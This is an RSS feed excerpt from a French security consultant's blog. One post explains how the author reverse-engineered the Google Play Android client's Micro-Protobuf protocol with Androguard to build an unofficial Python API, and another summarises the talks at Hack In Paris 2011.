<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Segmentation fault</title>
	<atom:link href="https://www.segmentationfault.fr/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.segmentationfault.fr</link>
	<description>Projets d’un consultant en sécurité informatique</description>
	<lastBuildDate>Fri, 15 Feb 2019 08:02:10 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>Reversing Google Play and Micro-Protobuf applications</title>
		<link>https://www.segmentationfault.fr/publications/reversing-google-play-and-micro-protobuf-applications/</link>
		<comments>https://www.segmentationfault.fr/publications/reversing-google-play-and-micro-protobuf-applications/#comments</comments>
		<pubDate>Wed, 19 Sep 2012 20:11:23 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Publications]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[androguard]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[protobuf]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=946</guid>
		<description><![CDATA[I recently released a Google Play Unofficial Python API, which aims at providing a way for developers to query Google&#8217;s official Android application store. Such projects already exist, but they are all based on the previous version (&#171;&#160;Android Market&#160;&#187;), and are therefore limited. My goal was to adapt those projects and port them to the [...]]]></description>
			<content:encoded><![CDATA[<p>I recently released a <a href="https://github.com/egirault/googleplay-api/">Google Play Unofficial Python API</a>, which aims at providing a way for developers to query Google&rsquo;s official Android application store. Such projects already exist, but they are all based on the previous version (&laquo;&nbsp;Android Market&nbsp;&raquo;), and are therefore limited. My goal was to adapt those projects and port them to the last version of Google Play.</p>
<p>This article first highights the limitations of existing projects. Then it focuses on the official Android client for Google Play and its internals, based on a <a href="http://code.google.com/p/protobuf/">Protobuf</a> variant. Thanks to <a href="http://code.google.com/p/androguard/">Androguard</a> and its awesome static analysis features, I show how to automatically recover the <code>.proto</code> file of Google Play, enabling us to generate stubs for querying Google&rsquo;s servers. Finally, I quickly introduce the <a href="https://github.com/egirault/googleplay-api/">unofficial API</a>.<span id="more-946"></span></p>
<h3>Existing projects</h3>
<p>Google Play can be queried in two ways: using the <a href="https://play.google.com/store/apps">official website</a> or the Android client. The website contains pretty much all the useful information, such as app name and developer name, comments, last version number and release date, permissions required by the app, statistics, etc. I guess one could build a simple program that queries this website and parses the pages, but it would still have one limitation: you simply cannot download apps. Well, you can, but for this you will need an actual compatible phone, and as soon as you perform the install request, the application will get downloaded and installed on your phone. Then if you want to retrieve it in order to analyse it, you must plug in your phone and use <code>adb pull</code>. Some managed to get Google Play run within the emulator, but this is still a bit complicated and not straightforward: you need Java, <a href="http://developer.android.com/sdk/index.html">Android SDK</a>, customize your emulator ROM to embed Google Play, and script everyting yourself.</p>
<p>The main project I have been looking at is <a href="http://code.google.com/p/android-market-api/">android-market-api</a>, written in Java. Actually, I am a Python fan, and played much more with <a href="https://github.com/liato/android-market-api-py">its Python equivalent</a>. The goal of those projects is to simulate the network activity generated by the Android client, query Google Play servers, and parse the result. The underlying protocol used by Google Play is based on Google&rsquo;s <a href="http://code.google.com/p/protobuf/">Protocol Buffers</a>, aka <em>Protobuf</em>. For those who do not know, this library provides a way to encode messages in binary, compact blobs before sending them on the network, and decode them on the other side. The <a href="https://developers.google.com/protocol-buffers/docs/overview">documentation</a> contains plainty of details on the actual <a href="https://developers.google.com/protocol-buffers/docs/encoding?hl=fr">encoding format</a>, so I won&rsquo;t cover it. The only important thing to know about Protobuf is that it is much easier to decode messages if you know the structure of exchanged messages. Messages are composed of fields, each one having a tag, a name and a type. When encoded, a message embeds the tag, value and type (only basic types, or a generic &laquo;&nbsp;message&nbsp;&raquo; type) of each field, but <strong>not</strong> their names. Therefore, the semantics of each field must be guessed, and that is not always easy.</p>
<p>When Google Play Android client is able to query Google&rsquo;s servers and download APKs, all network communications are done with Protobuf and HTTP(S). The underlying Protobuf file used by the unofficial API projects (and based on Android Market) has been published as a <a href="http://code.google.com/p/android-market-api/source/browse/trunk/AndroidMarketApi/proto/market.proto"><code>.proto</code> file</a>. The unofficial API can forge some of those requests and interpret results. While playing with them, I have managed to search Android apps, but I could not always download them. Indeed, this version of the API requires a numeric « assetId » corresponding to the app you want to download. When trying to get appropriate assetIds using other API methods such as <code>search()</code>, I got non-numeric values, such as: <code>v2:com.fankewong.angrybirdsbackup2sd:1:4</code>. This type of value is rejected by Google Server when trying to download the app. Too bad&#8230;</p>
<h3>A first look at Google Play Android client</h3>
<p>The weird thing is that the non-numeric assetId problem occurs quite often, but not on all apps. I guess this is because Google updated their API when they switched to Google Play; those projects are using the old version of the API. The only way to have up-to-date information and be able to download any app would then be to analyse the updated Android client, and adapt existing projects.</p>
<p>Here we go! We retrieve <code>com.android.vending-1.apk</code> from an up-to-date Android phone using <code>adb</code>, and we use our favorite Android RE tools. A first look at class names highlights a pretty explicit <code>VendingProtos</code> class, under the <code>com.google.android.vending.remoting.protos</code> package. It contains references to a package named <code>com.google.protobuf.micro</code>, embedded within the app. This package contains classes used to encode and decode messages. It is actually part of a public project, named <a href="http://code.google.com/p/micro-protobuf/">micro-protobuf</a>, which is a lightweight version of Protobuf. However, the underlying protocol remains the same.</p>
<p>Most of network traffic is sent using HTTPS. After installing our own on CA onto the phone and setting up an interception proxy like Burp, we can sniff traffic. From a black-box approach, the exchanged data looks like a binary stream:</p>
<div id="attachment_950" class="wp-caption aligncenter" style="width: 533px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2012/09/googleplay_burp1.png"><img class=" wp-image-950 " title="googleplay_burp" src="http://www.segmentationfault.fr/wp-content/uploads/2012/09/googleplay_burp1.png" alt="" width="523" height="462" /></a><p class="wp-caption-text">Capturing a Protobuf response with Burp</p></div>
<p>All we need now is the <code>.proto</code> file of Google Play to be able to decode it. But how can we get this file? It is unfortunately not embedded within the app, so we have to find another way. <a href="http://www.sysdream.com/reverse-engineering-protobuf-apps">A paper and a tool</a> have been published on the subject, but work only when the studied app or program embeds some kind of metadata, used by reflection features of Protobuf. This metadata is generally embedded in regular stubs generated with Google&rsquo;s standard protobuf compiler called <code>protoc</code>. However, this is not the case here since the Protobuf stubs embedded within Google Play Android client were not compiled with standard <code>protoc</code>. Micro-protobuf seems to remove this metadata, probably to make protocol reversing harder.</p>
<p>Anyway, is there a way to guess the structure of exchanged messages, just by having a look at the decompiled Java code of the app? Let&rsquo;s go back to the <code>VendingProtos</code> class. It is contains many subclasses, among which one named <code>AppDataProto</code>:</p>
<pre>public static final class AppDataProto extends MessageMicro
{
  private int cachedSize = -1;
  private boolean hasKey;
  private boolean hasValue;
  private String key_ = "";
  private String value_ = "";

  [...]

  public AppDataProto mergeFrom(CodedInputStreamMicro 
                                paramCodedInputStreamMicro)
    throws IOException
  {
    while (true)
    {
      int i = paramCodedInputStreamMicro.readTag();
      switch (i)
      {
      default:
        if (parseUnknownField(paramCodedInputStreamMicro, i))
          continue;
      case 0:
        return this;
      case 10:
        String str1 = paramCodedInputStreamMicro.readString();
        AppDataProto localAppDataProto1 = setKey(str1);
        break;
      case 18:
      }
      String str2 = paramCodedInputStreamMicro.readString();
      AppDataProto localAppDataProto2 = setValue(str2);
    }
  }

  public AppDataProto setKey(String paramString)
  {
    this.hasKey = 1;
    this.key_ = paramString;
    return this;
  }

  public AppDataProto setValue(String paramString)
  {
    this.hasValue = 1;
    this.value_ = paramString;
    return this;
  }

  [...]
}</pre>
<p>We can guess that this class represents a Micro-Protobuf message (the <code>extends MessageMicro</code> part) and that it has two string fields: <code>key</code> and <code>value</code>. Their tag can be extracted from the <code>mergeFrom()</code> method, which aims at decode incoming binary messages. It is composed of a main loop (<code>while(true)</code>) and a <code>switch</code> statement. Each case – except the first and second ones – corresponds to a field. The value of each case is actually the binary representation of the tag and type of the field. Everything is in the documentation; to skip the details, the actual value of each case is equal to <code>(tag &lt;&lt; 3) | type</code>. For instance, 10 stands for tag 1, type 2 (string). 18 means tag 2, string. Thus, the actual <code>.proto</code> file looks as follows:</p>
<pre>message AppDataProto {
  optional string key = 1;
  optional string value = 2;
}</pre>
<p>Actually type 2 is not exactly &laquo;&nbsp;string&nbsp;&raquo;, but any length-delimited field. It could be a string, a series of bytes, or an embedded message itself. In that case, the code looks like this:</p>
<pre>case 26:
  VendingProtos.AppDataProto localAppDataProto = new VendingProtos.AppDataProto();
  paramCodedInputStreamMicro.readMessage(localAppDataProto);
  DataMessageProto localDataMessageProto2 = addAppData(localAppDataProto);
  break;</pre>
<p>This field has a tag equal to 3 (26 &gt;&gt; 3) and is a message which name is <code>AppDataProto</code>. In order to get this sub-message structure, we would have to repeat the analysis process to the corresponding class, and so on.</p>
<h3>Automatic analysis</h3>
<p>We now have a way of recovering a message structure by analyzing the generated code. All we need now is automating the process. For this, we can use <a href="http://code.google.com/p/androguard/">Androguard</a>, a multi-purpose framework intended to make Android reversing easier. With Androguard, we can simply open an APK, decompile it, parse its Dalvik code, and do all sorts of things. Once installed, one can use the provided <code>androlyze</code> tool to dynamically interact with the framework, and then write a script to automate everything.</p>
<p>Androguard lets us easily browse the available classes and find those that extends <code>MessageMicro</code>.</p>
<pre>In [1]: apk = APK('com.android.vending-1.apk')
In [2]: dvm = DalvikVMFormat(apk.get_dex())
In [3]: vma = uVMAnalysis(dvm)
In [4]: proto_classes = filter(lambda c: "MessageMicro;" in c.get_superclassname(), dvm.get_classes())
In [5]: proto_class_names = map(lambda c: c.get_name(), proto_classes)</pre>
<p>Then we extract the <code>mergeFrom()</code> method of each class by filtering the method list generated by <code>dvm.get_methods_class(class_name)</code>. The basic block list of each method can be obtained with <code>vma.get_method(m).basic_blocks.gets()</code>.<br />
The first is usually the one that implements the switch instruction. In Dalvik, a switch is often represented as a <code>sparse-switch</code> instruction, which operand is a table composed of a list of values and offsets, called <code>sparse-switch-payload</code>. Here is an example:</p>
<pre>invoke-virtual v3, Lcom/google/protobuf/micro/CodedInputStreamMicro;-&gt;readTag()I
move-result v0
sparse-switch v0, +52 (0xa4)
[...]
sparse-switch-payload sparse-switch-payload 0:9 a:a 12:12 1a:1a 22:22 2a:2a 32:32 3a:3a 42:42 4a:4a</pre>
<p>Each (value, offset) tuple correspond to a case of the switch; if the value matches the compared register, then the execution continues to the corresponding offset. Once we are able to browse each case of the switch (and its target basic block), we can determine the name of each field and its type by examining the name of the corresponding accessors. For instance, here is a typical basic block:</p>
<pre>invoke-virtual v3, Lcom/google/protobuf/micro/CodedInputStreamMicro;-&gt;readString()Ljava/lang/String;
move-result-object v1
invoke-virtual v2, v1, L[...]AddressProto;-&gt;setCity(Ljava/lang/String;)L[...]AddressProto;
goto -25</pre>
<p>Each basic block contains two accessor calls: <code>readXXX()</code> and <code>setYYY()</code>. Their goal is to read an incoming series of bytes and initialize one field of the message. <code>XXX</code> corresponds to the type of the field (here, <em>string</em>), and <code>YYY</code> to its name (<em>city</em>).</p>
<p>The simplified analysis algorithm looks like:</p>
<pre>for each class that extends MessageMicro:
  get its mergeFrom() method
    find the sparse-switch instruction
    get the corresponding sparse-switch-payload
    index all values and offsets in a dict
    for each value, offset:
      tag = value &gt;&gt; 3
      get the target basic block using the offset
      find readXXX() and setYYY() calls
      type = XXX
      name = YYY
      index the tuple (tag, type, name)</pre>
<p>Then we only need to format the output in order to generate a parsable <code>.proto</code> file, dealing with nested messages and groups among other things.</p>
<p>I called the resulting script <a href="https://github.com/egirault/googleplay-api/blob/master/androguard/androproto.py"><code>androproto.py</code></a>. It is released with the API code; feel free to play with it. It is able to analyze the target app and print the recovered Profotuf file. I apologize for the dirty code; since Google Play is the only app using Micro-Protobuf that I&rsquo;ve analyzed, this script is pretty specific. But it should work with any app using this library, with a few changes. Its output on Google Play app looks like this:</p>
<pre>message AckNotificationResponse {
}
message AndroidAppDeliveryData {
  optional int64 downloadSize = 1;
  optional string signature = 2;
  optional string downloadUrl = 3;
  repeated AppFileMetadata additionalFile = 4;
  repeated HttpCookie downloadAuthCookie = 5;
  optional bool forwardLocked = 6;
  optional int64 refundTimeout = 7;
  optional bool serverInitiated = 8;
  optional int64 postInstallRefundWindowMillis = 9;
  optional bool immediateStartNeeded = 10;
  optional AndroidAppPatchData patchData = 11;
  optional EncryptionParams encryptionParams = 12;
}
message AndroidAppPatchData {
  optional int32 baseVersionCode = 1;
  optional string baseSignature = 2;
  optional string downloadUrl = 3;
  optional int32 patchFormat = 4;
  optional int64 maxPatchSize = 5;
}
[...]</pre>
<p>The resulting output is <em>almost</em> usable with <code>protoc</code>. Almost, because there is a duplicate message that you need to manually remove in order to make <code>protoc</code> happy. But after taking care of that detail, you have a working <a href="https://github.com/egirault/googleplay-api/blob/master/googleplay.proto"><code>googleplay.proto</code></a> that you can use to generate C++, Java and Python stubs for querying Google Play API!</p>
<h3>Building Google Play Unofficial Python API</h3>
<p>In order to parse Google Play protobuf messages, we dump each server response intercepted with Burp into a file, an use:</p>
<pre>protoc --decode=ResponseWrapper googleplay.proto &lt; dump.bin</pre>
<p><code>ResponseWrapper</code> is the root message type; it can be easily guessed by looking at the message names. Once we have a clue of what&rsquo;s received by the application, we can start building our own API. Since we need a valid auth token from Google server, we need first to authenticate. I simply reused the code from <a href="https://github.com/liato/android-market-api-py">android-market-api-py</a>. Once logged in, we need to deal with protobuf traffic. For most of API requests, the Android client does not send protobuf messages, but only simple GET or POST requests, such as <code>search?c=3&amp;q=%s</code>. In order to parse Protobuf responses, we use the generated Python module (<code>googleplay_pb2</code>):</p>
<pre>message = googleplay_pb2.ResponseWrapper.FromString(data)</pre>
<p>The resulting message can be browsed like a regular Python object. For some API methods, Google servers also return some <em>prefetch</em> data. A prefetch element contains a URL and raw data. It acts like a cache and can be dealt with pretty easily with a few lines of code.</p>
<p>The final API is pretty straightforward to use. Just follow the <a href="https://github.com/egirault/googleplay-api/blob/master/README.md">README</a>. First make sure to edit <code>googleplay.py</code> and insert your phone&rsquo;s <code>androidID</code>, then supply your Google credentials in <code>config.py</code>. You can use the provided scripts, producing CSV output, and prettify them with <code>pp</code>. Sorry for the following truncated output due to this blog&#8230;</p>
<pre>$ alias pp="column -s ';' -t"  # pretty-print CSV

$ python search.py earth | pp
Title                           Package name                            Creator                  Super Dev  Price    Offer Type  Version Code  Size     Rating  Num Downloads
Google Earth                    com.google.earth                        Google Inc.              1          Gratuit  1           53            8.6MB    4.46    10 000 000+
Terre HD Free Edition           ru.gonorovsky.kv.livewall.earthhd       Stanislav Gonorovsky     0          Gratuit  1           33            4.7MB    4.47    1 000 000+
Earth Live Wallpaper            com.seb.SLWP                            unixseb                  0          Gratuit  1           60            687.4KB  4.06    5 000 000+
Super Earth Wallpaper Free      com.mx.spacelwpfree                     Mariux                   0          Gratuit  1           2             1.8MB    4.41    100 000+
Earth And Legend                com.dvidearts.earthandlegend            DVide Arts Incorporated  0          5,99 €   1           6             6.8MB    4.82    50 000+
Earth 3D                        com.jmsys.earth3d                       Dokon Jang               0          Gratuit  1           12            3.4MB    4.05    500 000+
[...]

$ python categories.py | pp
ID                   Name
GAME                 Jeux
NEWS_AND_MAGAZINES   Actualités et magazines
COMICS               BD
LIBRARIES_AND_DEMO   Bibliothèques et démos
COMMUNICATION        Communication
ENTERTAINMENT        Divertissement
EDUCATION            Enseignement
FINANCE              Finance

$ python list.py 
Usage: list.py category [subcategory] [nb_results] [offset]
List subcategories and apps within them.
category: To obtain a list of supported catagories, use categories.py
subcategory: You can get a list of all subcategories available, by supplying a valid category

$ python list.py WEATHER | pp
Subcategory ID            Name
apps_topselling_paid      Top payant
apps_topselling_free      Top gratuit
apps_topgrossing          Les plus rentables
apps_topselling_new_paid  Top des nouveautés payantes
apps_topselling_new_free  Top des nouveautés gratuites

$ python list.py WEATHER apps_topselling_free | pp
Title                  Package name                                  Creator          Super Dev  Price    Offer Type  Version Code  Size    Rating  Num Downloads
La chaine météo        com.lachainemeteo.androidapp                  METEO CONSULT    0          Gratuit  1           8             4.6MB   4.38    1 000 000+
Météo-France           fr.meteo                                      Météo-France     0          Gratuit  1           11            2.4MB   3.63    1 000 000+
GO Weather EX          com.gau.go.launcherex.gowidget.weatherwidget  GO Launcher EX   0          Gratuit  1           25            6.5MB   4.40    10 000 000+
Thermomètre (Gratuit)  com.xiaad.android.thermometertrial            Mobiquité        0          Gratuit  1           60            3.6MB   3.78    1 000 000+

$ python permissions.py com.google.android.gm
android.permission.ACCESS_NETWORK_STATE
android.permission.GET_ACCOUNTS
android.permission.MANAGE_ACCOUNTS
android.permission.INTERNET
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.READ_SYNC_SETTINGS
android.permission.READ_SYNC_STATS
android.permission.RECEIVE_BOOT_COMPLETED
[...]

$ python download.py com.google.android.gm
Downloading 2.7MB... Done

$ file com.google.android.gm.apk 
com.google.android.gm.apk: Zip archive data, at least v2.0 to extract</pre>
<h3>Conclusion</h3>
<p>Although there is no metadata within Micro-Protobuf applications, recovering <code>.proto</code> files is still doable and it can still be done automatically. The lack of obfuscation is clearly an advantage for an attacker, since all class and method names are easy to understand. Having a non-official Google Play API is handy for many reasons: performing statistics that aren&rsquo;t available on the official front-end, looking for plagiarism, automatic malware search / downloading / analysis (Androguard to the rescue)&#8230; Feel free to browse the <a href="https://github.com/egirault/googleplay-api/">source</a>, fork the project, and improve it!</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/publications/reversing-google-play-and-micro-protobuf-applications/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Hack In Paris 2011</title>
		<link>https://www.segmentationfault.fr/securite-informatique/hack-in-paris-2011/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/hack-in-paris-2011/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 15:39:39 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=929</guid>
		<description><![CDATA[Oui je sais, c&#8217;est mal, je n&#8217;ai pas fait de compte-rendu du SSTIC&#8230; En partie parce que j&#8217;ai été un peu débordé ces derniers temps, notamment avec mon arrivée chez Sogeti ESEC. Je tenterai de le faire dès que j&#8217;aurais eu le courage de fouiller dans mes notes. Comme certains l&#8217;auront sans doute remarqué, j&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p>Oui je sais, c&rsquo;est mal, je n&rsquo;ai pas fait de compte-rendu du <a href="http://www.sstic.org/2011/">SSTIC</a>&#8230; En partie parce que j&rsquo;ai été un peu débordé ces derniers temps, notamment avec mon arrivée chez <a href="http://esec.fr.sogeti.com/">Sogeti ESEC</a>. Je tenterai de le faire dès que j&rsquo;aurais eu le courage de fouiller dans mes notes.</p>
<p>Comme certains l&rsquo;auront sans doute <a href="http://seclists.org/fulldisclosure/2011/Jan/398">remarqué</a>, j&rsquo;ai participé à l&rsquo;élaboration du programme des conférences de l&rsquo;événement <a href="http://www.hackinparis.com/">Hack In Paris</a>, qui s&rsquo;est déroulé la semaine dernière au centre de conférences de Disneyland Paris. N&rsquo;ayant pas trop participé à l&rsquo;organisation le jour J, je dois dire que pour une première édition, je suis très satisfait du résultat !<br />
<span id="more-929"></span></p>
<p>Comme <a href="http://hackitoergosum.org/">HES</a>, et contrairement au SSTIC, HIP se veut international et est donc exclusivement anglophone. L&rsquo;événement était composé de 2 jours de formations – <em>Win32 exploit development</em> par Peter Van Eeckhoutte et <em>IPv6 Security</em> par Fernando Gontt – et 2 jours de conférences. Étant donné qu&rsquo;il avait lieu en pleine semaine, je n&rsquo;ai pu assister qu&rsquo;aux conférences. Voici un petit résumé de la plupart d&rsquo;entre elles pour ceux qui n&rsquo;ont pas suivi le <a href="https://twitter.com/#!/emiliengirault/status/81261307369754624">live-tweet</a>&#8230;</p>
<ul>
<li><strong><em>Cyberwar-4G aka The Coming Smart Phone Wars</em></strong>, par <a href="http://www.winnschwartau.com/">Winn Schwartau</a>. Bonne keynote où l&rsquo;on fait le tour de tous les problèmes et menaces représentées par les smartphones et autres tablettes, vis à vis de la volonté des constructeurs de préserver le <em>cool factor</em> de leur produit. Bref, tout ce qu&rsquo;il faut pour considérer ces <em>devices </em>comme un <em>security nightmare</em>&#8230;</li>
<li><strong><em>Locking the Throne Room &#8211; ECMA Script 5, a frozen DOM and the eradication of XSS</em></strong>, où <a href="http://heideri.ch/">Mario Heiderich</a> revisite le Cross-Site Scripting, et plus particulièrement les DOM XSS, qui restent méconnues. Il s&rsquo;intéresse en particulier aux bugs des derniers moteurs de parsing des navigateurs, et à leur exploitation pour trouver des vecteurs XSS assez atypiques. Après avoir exposé sa vision assez novatrice (du moins à mon avis) selon laquelle le problème des XSS ne se situe non pas du côté du serveur mais du client, il expose sa solution pour éradiquer les XSS côté client : l&rsquo;utilisation des fonctionnalités d&rsquo;ECMAScript 5. En effet, cette version propose une méthode (Object.defineProperty()) permettant de surcharger toute propriété JavaScript et ce de façon définitive, pouvant être utilisée pour rendre les objets DOM <em>tamper-resistant</em>. Ce genre de protection pourrait être appliquée dans les cas où la présence d&rsquo;une DOM XSS serait catastrophique, comme pour la <a href="http://crypto.stanford.edu/sjcl/">Stanford JS Crypto Library</a>, ou encore&#8230; <a href="http://www.bindshell.net/tools/beef.html">BeEF</a> (et même <a href="http://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/">XeeK</a> !). Bref, un super talk agrémenté de pas mal de démos de XSS en utilisant une astucieuse <a href="http://html5sec.org/innerhtml#">page Web</a> permettant de tester rapidement de nouveaux vecteurs. Les slides sont dispos <a href="http://www.slideshare.net/x00mario/locking-the-throneroom">ici</a>.</li>
<li><strong><em>Be a smart CISO, learn about people</em></strong>, par <a href="http://bruno.kerouanton.net/blog/">Bruno Kerouanton</a>. Conférence à l&rsquo;intention des RSSI, qui dresse un petit tour d&rsquo;horizon des différentes techniques permettant de mettre toutes les chances de son côté pour convaincre ses collègues de l&rsquo;importance de la sécurité. Qui a dit que le Social Engineering était inutile ? <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li><strong><em>&laquo;&nbsp;Project Quebec&nbsp;&raquo; and win32 exploit development with pvefindaddr</em></strong> : <a href="http://www.corelan.be/">Peter Van Eekhoutte</a> annonce officiellement la sortie du nouveau remplaçant de pvefindaddr : <a href="https://www.corelan.be/index.php/2011/06/16/mona-1-0-released/">mona</a>. Pour ceux qui ne connaissent pas, il s&rsquo;agit d&rsquo;un plugin pour Immunity Debugger permettant d&rsquo;automatiser la conception d&rsquo;exploits pour Windows. Excellente présentation, liant technique et humour, dosées comme il se doit. Voici les <a href="https://www.corelan.be/public/presentations/athcon_hip2011.pdf">slides</a>.</li>
<li><strong><em>Offensive XSLT</em></strong>, où <a href="http://www.agarri.fr/blog/">Nicolas Grégoire</a> <a href="http://prezi.com/y_fuybfudgnd/offensive-xslt/">démontre</a> les &laquo;&nbsp;fonctionnalités&nbsp;&raquo; dangereuses de XSLT permettant d&rsquo;accéder au système de fichiers de la cible, voire l&rsquo;exécution de code. Quelques démos de <em>pwning </em>en règle viennent agrémenter la théorie. Ce qui fait peur, c&rsquo;est que ces moteurs sont utilisés dans de gros produits, tels que Liferay, Webkit, PHP5 et Gnome. Et ce qui fait encore plus peur, c&rsquo;est la réaction des équipes des projets en question suite à l&rsquo;annonce (responsable) des vulnérabilités. <em>It&rsquo;s not a bug, it&rsquo;s a feature</em>&#8230;</li>
<li><strong><em>Agnitio: the security code review Swiss army knife</em></strong>. <a href="http://www.securityninja.co.uk/blog/">David Rook</a> expose sa vision de la revue de code : il ne s&rsquo;agit pas de lire le maximum de lignes de code en un minimum de temps, mais d&rsquo;éduquer les développeurs pour leur éviter de commettre les mêmes erreurs à l&rsquo;avenir. Il présente alors <a href="http://sourceforge.net/projects/agnitiotool/">Agnitio</a>, un outil libre permettant de générer des checklists à suivre lors de la revue de code. Plutôt sympa. Slides dispos <a href="http://www.slideshare.net/securityninja/hack-in-paris-agnitio">ici</a>.</li>
<li><em><strong>Pentesting iPhone and iPad Applications</strong></em>. Sébastien Andrivet et Flora Bottaccio présentent les techniques et outils d&rsquo;analyse d&rsquo;applications iPhone &amp; iPad, et en particulier le reverse-engineering et l&rsquo;analyse de trafic réseau. Ils dressent un état de l&rsquo;art, proposent une méthodologie d&rsquo;audit applicatif, et présentent deux outils réalisés par leur soin : ADVsock2pipe et ADVInterceptor. Quelques démos de vulnérabilités touchant des applications réelles sont présentées, et on retrouve les <em>usual suspects</em> traditionnels : mots de passe stockés en clair sur disque (ou mieux, en base64&#8230;), communications non chiffrées, etc. État de l&rsquo;art très intéressant quand on n&rsquo;a jamais touché ce genre de plateforme, et qui confirme ce que disait Winn dans sa keynote : la sécurité actuelle des mobiles est un énorme #fail.</li>
<li><strong><em>Skyrack : ROP for masses</em></strong>. Jean-Baptiste Aviat présente son outil de conception assistée d&rsquo;exploits utilisant le Return Oriented Programming pour contourner les protections du style NX/XD (DEP sous Windows). Skyrack est basé sur Metasm et supporte à la fois les binaires PE, ELF et Mach-O, ainsi que les architectures Intel 32 et 64 bits pour le moment. Le fonctionnement de l&rsquo;outil a l&rsquo;air assez similaire à Ropme, avec en plus des opérateurs de recherche avancés sont également disponible afin d&rsquo;imposer par exemple la préservation de certains registres. Skyrack étant scriptable, il ressemble plus à un framework de conception d&rsquo;exploit qu&rsquo;à un outil de génération purement automatique.</li>
<li><strong><em>The forbidden image &#8211; Security impact of SVF on the WWW</em></strong>. Dans sa deuxième <a href="http://www.slideshare.net/x00mario/the-image-that-called-me">conférence</a>, Mario Heiderich présente les dangers dus à l&rsquo;utilisation du format  Scalable Vector Graphics intégré aux pages Web. Et comme il l&rsquo;a si bien dit, les SVG ne devraient pas être considérés comme des images, mais plutôt des minis applications ! En effet, ceux-ci supportent entre autres l&rsquo;inclusion d&rsquo;objets arbitraires, tels que des PDF, applets Java ou Flash&#8230; et bien entendu, les traditionnels scripts JavaScript. De quoi rallonger la liste des vecteurs XSS de sa précédente conf <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Plusieurs démos sont faites, dont une assez impressionnante où il parvient à ouvrir une vidéo Youtube par l&rsquo;intermédiaire d&rsquo;un PDF embarqué dans une favicon en SVG. Il aborde aussi le problème des <em>local SVG</em>, qui consistent à embarquer dans une page Web une image SVG comportant du JS faisant référence à des fichiers locaux. Si le visiteur enregistre l&rsquo;image sur son disque et l&rsquo;ouvre, le code JS a alors accès aux fichiers de tous les sous-dossiers&#8230; Sans parler des bugs de parsing propres à chaque navigateur. Aucune librairie de filtrage n&rsquo;étant disponible à l&rsquo;heure actuelle, l&rsquo;auteur termine par exposer son projet <a href="http://heideri.ch/svgpurifier/SVGPurifier/index.php">SVGPurifier</a> dont le nom est assez explicite.</li>
<li><strong><em>Escaping Windows Sandboxes</em></strong>. Tom Keetch <a href="http://www.slideshare.net/tkeetch/hack-in-paris-2011-assessing-practical-sandboxes">présente</a> les méthodes utilisées pour contourner les sandboxes en mode utilisateur, et s&rsquo;intéresse plus particulièrement au mode protégé d&rsquo;IE9, ainsi qu&rsquo;à Adobe Reader X et Chromium. Au programme : BNO namespace squatting, exploitation de l&rsquo;interface NPAPI, des fuites de handles et attaques sur les presse-papiers.</li>
<li><strong><em>Proactive Network Security through Vulnerability Management</em></strong>, par Gary Miliefsky. Je n&rsquo;ai malheureusement pas suivi cette conférence, trop occupé à revoir des amis de longue date&#8230;</li>
</ul>
<p>En ce qui concerne l&rsquo;organisation, il ne fait nulle doute que Disney était un bon choix. Cadre sympa, buffet à volonté, free <a href="http://securityforfun.wordpress.com/">coca</a>, bonne salle (quoique l&rsquo;isolation sonore était parfois limite), sans oublier les goodies. Bref, un retour plutôt positif pour une première édition. J&rsquo;ai pris quelques photos qui sont disponibles sur ma <a href="https://picasaweb.google.com/emilien.girault/HackInParis2011">galerie Picasa</a>.</p>
<p>Je tiens à remercier toute l&rsquo;équipe, et plus particulièrement les personnes du comité de programme qui ont permis de sélectionner des conférences de qualité. Espérons que ce soit encore mieux en 2012 <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/hack-in-paris-2011/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>RSSIL 2011 Write-Ups</title>
		<link>https://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/rssil-2011-write-ups/#comments</comments>
		<pubDate>Mon, 30 May 2011 17:18:40 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Evénement]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=911</guid>
